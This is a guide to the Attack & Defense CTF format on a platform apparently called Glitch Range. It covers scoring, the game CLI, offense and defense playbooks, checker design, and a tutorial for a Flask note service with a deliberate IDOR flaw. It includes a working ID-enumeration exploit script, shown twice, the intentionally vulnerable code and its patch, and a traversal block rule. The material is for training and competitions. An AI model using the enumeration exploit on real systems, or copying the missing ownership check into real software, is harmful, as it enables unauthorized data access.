Attack & Defense
A complete guide to the Attack & Defense (A&D) format — what it is, why it exists, and a hands-on methodology for designing a vulnerable service and building the environment it runs in on Glitch Range.
Purpose & Philosophy
Attack & Defense is a live, team-vs-team CTF format. Every team is handed an identical server — the vulnbox — running the same set of deliberately vulnerable network services.
Your job is twofold and simultaneous: attack the same service on every other team's box to steal their flags, while defending your own copy by patching the very bugs you are exploiting — without breaking the service.
Unlike Jeopardy CTFs (static puzzles, solve-once), A&D mirrors real security operations: you must find a bug, weaponize it at scale, detect that you are being exploited, ship a fix under pressure, and keep production running the whole time.
It rewards the full loop — offense, defense, reliability, and speed — which is exactly the skill set of a real blue/red team.
Anatomy of an A&D Challenge
| Component | What it is |
|---|---|
| Service | A working, networked application (the "challenge") that every team runs. It contains one or more exploitable bugs. |
| Vulnbox | The identical machine each team is given, hosting the service(s). Reachable at 10.100.X.1 / ssh root@vulnbox.glitch.ad. |
| Flag | A secret token matching [A-Z0-9]{31}=. Stored inside the service; stealing it and submitting it scores offense points. |
| Flag ID | A public hint (a username, note id, etc.) published each tick telling attackers which object holds the current flag. |
| Tick | The game clock, typically 60–180 seconds. A fresh flag is planted every tick and stays valid for 5 ticks. |
| Checker / SLA bot | The game-server script that, each tick, exercises the service, plants a new flag, and retrieves recent flags to verify the service still works. |
| Exploit | Your script (Python) that abuses a bug on a target box to read its current flag, then submits it. Run with the glitch tool. |
How Scoring Works
Each service's score for a tick combines three parts. Design your challenge with all three in mind — a service that is easy to attack but impossible to keep alive punishes everyone.
| Component | Formula | Meaning |
|---|---|---|
| SLA | sla_score = sqrt(total_teams) / sqrt(teams_passing_sla) | Awarded only when all SLA checks pass that tick. Rarer uptime is worth more. |
| Offense | flag_value = 1 / sqrt(teams_stealing_flag) | Points per stolen flag. A flag many teams also stole is worth less. |
| Defense | service_score = sla_score + offense_score - defense_score | Being exploited subtracts from your total — patch fast. |
Quick Start — Your First 10 Minutes
When the match opens, get oriented fast. This is the minimum needed to be both attacking and defending.
wg-quick up glitch). Confirm reachability by pinging the router 10.100.0.1 and your own vulnbox 10.100.X.1.ssh root@vulnbox.glitch.ad — no password. This box is yours to defend; every other team has an identical one at 10.100.<their-id>.1.docker ps to list the running services and their ports. Each one is a separate challenge with its own bug(s) and its own score line.scp -r root@vulnbox.glitch.ad:/srv ./services. Reading the code is how you find the bug — and the identical code runs on every team.glitch help lists the commands; glitch targets lists every enemy box you can attack this round.nop.glitch.ad / 10.100.1.1) never patches and never attacks. Test every exploit there first — it is the safe sandbox. The glitch CLI
The glitch tool is how you interact with the game — it finds targets, throws exploits at every team, submits captured flags, and manages your defenses. Players never submit flags by hand: whatever an exploit prints to stdout is submitted automatically.
| Command | What it does |
|---|---|
glitch help | List every available command. |
glitch targets | List every reachable enemy vulnbox for the current service. |
glitch exploit test <path> [target] | Run your exploit once against a single target (usually the NOP box) to verify it works. |
glitch exploit throw <path> | Fire the exploit at all targets every tick and auto-submit captured flags. |
glitch block add <string> | Defensive firewall: drop incoming traffic containing a signature you have spotted. |
restart | Rebuild and redeploy the current service after you patch it. |
$ glitch targets service: notepad 10.100.1.1 nop.glitch.ad (practice) 10.100.3.1 team-03 10.100.7.1 team-07 $ glitch exploit test exploit.py nop.glitch.ad [+] flag: 7QF3K2M9ZP1A0BXR4TVE6YHJ8NDCWSL= [+] test OK — 1 flag captured $ glitch exploit throw exploit.py [tick 142] 9 targets -> 7 flags submitted, 2 down
glitch exploit throw keeps running it every tick against everyone and submits automatically — so your job becomes finding more bugs, not babysitting one.Offense Playbook — Stealing Flags
Offense is a loop: find a bug once, then harvest that flag from every team, every tick, automatically.
target:port, abuse the bug, and print() anything matching [A-Z0-9]{31}=. Whatever your exploit prints to stdout is submitted for you.glitch exploit test exploit.py nop.glitch.ad. If it prints a valid flag, you are ready to go live.glitch exploit throw exploit.py runs your exploit against all targets every tick and auto-submits captured flags. Leave it running and keep refining.throw handles the timing; any manual submission has to be quick.import sys, re, requests host = sys.argv[1] # target vulnbox, e.g. 10.100.7.1 flag_id = sys.argv[2] # the note owner the game server published this tick # IDOR: notes have no ownership check, so walk IDs until the flag appears for nid in range(1, 500): r = requests.get(f"http://{host}:5000/note/{nid}", timeout=3) m = re.search(r"[A-Z0-9]{31}=", r.text) if m: print(m.group(0)) # anything printed is auto-submitted
glitch exploit throw supplies both for every target automatically. (The vulnerable service this attacks is built step-by-step in Part 2.)Defense Playbook — Protecting Your Box
You cannot take a service offline to defend it — that fails your SLA. The art is closing bugs while keeping every feature the checker uses alive.
docker logs -f <svc>) and sniff the wire (tcpdump -i any port 5000 -A, or run mitmproxy). Attacks show up as odd, repeated requests hammering one endpoint.restart in the service directory.glitch block add <string>. Pick something the attacker sends but the checker never does.# 1) Real fix: enforce ownership in read() (keeps the feature, kills the IDOR) if n["owner"] != current_user(): return ("forbidden", 403) # then redeploy: restart # 2) Stop-gap while you code the fix -- drop a traversal payload the checker never sends: $ glitch block add "../"
block add rule that also matches the scoring server's requests fails your SLA instantly — costing more than the leak you were trying to stop.Strategy & Tactics
Points come from three places at once — uptime, stealing, and not being stolen from. Winning teams treat it as an operations problem, not a one-shot puzzle.
Do
- Prioritise uptime — a down service scores zero, patched or not.
- Split roles: attackers, defenders, and someone keeping the box healthy.
- Exploit early and wide — a flag's value drops as more teams grab it.
- Automate with
glitch exploit throwand leave it running. - Test everything on the NOP box before going live.
- Read the current flag each tick via its flag ID — never hardcode a flag.
- Back up a service before patching so you can roll back fast.
Don't
- Over-patch and break the checker — SLA = 0 hurts more than one leaked flag.
- Block traffic the checker sends — instant SLA failure.
- Reveal your patch in traffic others can sniff.
- Assume a working exploit keeps working — flags rotate, so re-test.
- Sit on a captured flag — it expires in 5 ticks.
- Forget to
restartafter editing a service.
1/sqrt(teams_stealing), so being first and hitting everyone is worth the most; SLA is sqrt(total)/sqrt(passing), so staying up when others are down is hugely valuable. Both reward moving fast and never going dark.Vulnbox Command Cheat-Sheet
Handy commands once you are SSH'd into your box (ssh root@vulnbox.glitch.ad).
docker ps # which services am I running? docker logs -f notepad # live traffic + errors for one service docker exec -it notepad sh # shell inside a service container ss -tlnp # which ports are listening tcpdump -i any port 5000 -A # sniff attacks hitting a service grep -R flag /srv # check YOU are not leaking flags to disk restart # rebuild + redeploy after patching glitch block add "<signature>" # firewall-drop a malicious pattern
One Tick, Start to Finish
- The game server plants a fresh flag in every team's copy of each service and publishes the new flag IDs.
- Your running
glitch exploit throwjobs fire at all targets, capture this tick's flags, and submit them. - You glance at the scoreboard / API: which services are you scoring on, and which are leaking to others?
- On defense, you scan
docker logsandtcpdumpfor new attack patterns against your box. - Spot an attack → patch the bug and
restart, or drop it withglitch block add. - The checker hits your box: it plants and retrieves the flag and exercises functionality. All pass → you bank SLA for the tick.
- Repeat for hundreds of ticks — small, consistent edges compound into the win.
Glossary
- Vulnbox
- The identical server each team runs and defends.
- Service
- One networked app on the vulnbox — a single challenge with its own score line.
- Flag
- A secret token matching
[A-Z0-9]{31}=, planted inside a service. Submit stolen ones to score offense points. - Flag ID
- A public hint published each tick telling attackers which object holds the current flag.
- Tick
- The game clock (typically 60–180 s). A new flag is planted every tick; flags stay valid for 5 ticks.
- SLA
- Service-Level Agreement — the uptime / functionality check. Fail any part and you score nothing that tick.
- Checker
- The game-server bot that plants and retrieves flags and tests functionality each tick.
- Exploit
- Your script that abuses a bug on a target to read its flag.
- getflag
- An exploit whose job is to retrieve the current flag from a target.
- throw
- Running an exploit against all targets every tick:
glitch exploit throw. - NOP team
- The non-playing practice box (
nop.glitch.ad) — safe to test exploits on. - First blood
- The first team to steal a given flag; early exploits are worth the most.
Methodology: Designing the Service (Challenge)
A good A&D challenge is a small, believable application with a deliberate, patchable flaw. Work through these steps before you write any infrastructure.
Methodology: Building the Environment
Once the service exists, you package and deploy it into the game. The environment is what makes the same challenge run identically on every team's box and lets the game server score it automatically.
10.100.X.1, or ssh root@vulnbox.glitch.ad).
It runs one or more service containers via docker compose. Bundle a
restart helper so teams can rebuild a service after patching, and make
sure nothing on the box reveals other teams' flags.10.100.X.0/24 (X = team ID). The vulnbox is
10.100.X.1; players join over WireGuard in the
10.100.X.5–254 range; the router is 10.100.0.1; the
practice NOP team is 10.100.1.1
(nop.glitch.ad). Your service must bind on all interfaces so every
team can reach it.glitch tool (below) so you know the intended solution actually works
under real timing.Network Layout
10.100.X.0/24 (X = team ID). Players connect over WireGuard; the vulnbox is always the .1 of the subnet.0.0.0.0, never 127.0.0.1 — the checker and every attacking team reach it across the range. Test attacks against the NOP box at nop.glitch.ad first.The Checker (SLA Bot)
The checker is the most important piece of infrastructure you write. Every tick, for every team, the game server runs it to do three jobs. If any raise an error, that team's SLA fails for the tick.
- PUT flag — use the service normally to store the tick's flag, remembering the public flag ID.
- GET flag — fetch flags planted in the last 5 ticks and confirm they match exactly.
- Functionality check — exercise other endpoints to prove the service isn't crippled (e.g. a team can't just delete the vulnerable feature to defend).
# Called by the game server once per tick, per team. # exit 0 = SLA OK, non-zero / exception = SLA DOWN. def put_flag(host, flag, flag_id): # Store the flag using the service's real API r = requests.post(f"http://{host}:5000/note", json={"owner": flag_id, "body": flag}) assert r.status_code == 200 def get_flag(host, flag, flag_id): # Retrieve it back the intended (authorized) way r = requests.get(f"http://{host}:5000/note/{flag_id}", headers=auth_as(flag_id)) assert flag in r.text # flag survived => service healthy def check_functionality(host): # Prove unrelated features still work assert requests.get(f"http://{host}:5000/health").json()["ok"]
Full Tutorial: Build a Service End-to-End
We'll build Notepad, a tiny note-storage service, and plant a classic IDOR (Insecure Direct Object Reference): any user can read any note by guessing its ID, with no ownership check. Flags are stored as note bodies; the flag ID is the note's owner name.
from flask import Flask, request, jsonify app = Flask(__name__) NOTES = {} # id -> {"owner":..., "body":...} (the flag store) _next = [1] @app.post("/note") def create(): d = request.get_json() nid = _next[0]; _next[0] += 1 NOTES[nid] = {"owner": d["owner"], "body": d["body"]} return jsonify(id=nid) @app.get("/note/<int:nid>") def read(nid): n = NOTES.get(nid) # !!! VULN: no check that request.user == n["owner"] (IDOR) return jsonify(body=n["body"]) if n else ("", 404) @app.get("/health") def health(): return jsonify(ok=True) app.run(host="0.0.0.0", port=5000) # bind ALL interfaces
FROM python:3.12-slim WORKDIR /srv RUN pip install flask COPY app.py . EXPOSE 5000 CMD ["python", "app.py"]
services: notepad: build: . restart: always ports: - "5000:5000"
restart helper: defending teams edit app.py to add the ownership check, then run restart in the service directory (a wrapper around docker compose up -d --build) to redeploy their patched copy.import sys, re, requests host = sys.argv[1] # target vulnbox, e.g. 10.100.7.1 flag_id = sys.argv[2] # published by the game server this tick # IDOR: walk note IDs and read bodies with no auth for nid in range(1, 500): r = requests.get(f"http://{host}:5000/note/{nid}", timeout=3) m = re.search(r"[A-Z0-9]{31}=", r.text) # the flag format if m: print(m.group(0)) # stdout => submitted by glitch
# In read(nid): enforce ownership BEFORE returning the body. if n["owner"] != current_user(): return ("", 403) # bug closed, checker still passes
Common Pitfalls (for Authors)
0.0.0.0 or neither the checker nor attackers can reach it — instant SLA zero for everyone.ssh root@vulnbox trivially reveals them — that removes any skill from the attack.Pre-Deployment Checklist
- Service offers real, testable functionality beyond holding the flag.
- At least one clear, patchable vulnerability that leaks a flag.
- Flag store supports planting a new flag each tick and reading the last 5.
- Flags match
[A-Z0-9]{31}=and are never logged or written to obvious files. - Service binds to
0.0.0.0and runs from a reproducible Docker image. - Checker performs PUT, GET, and an independent functionality check.
- Intended exploit steals a fresh flag in well under one tick.
- Intended patch closes the bug while keeping every SLA check green.
- Everything smoke-tested against the NOP team (
nop.glitch.ad) before launch.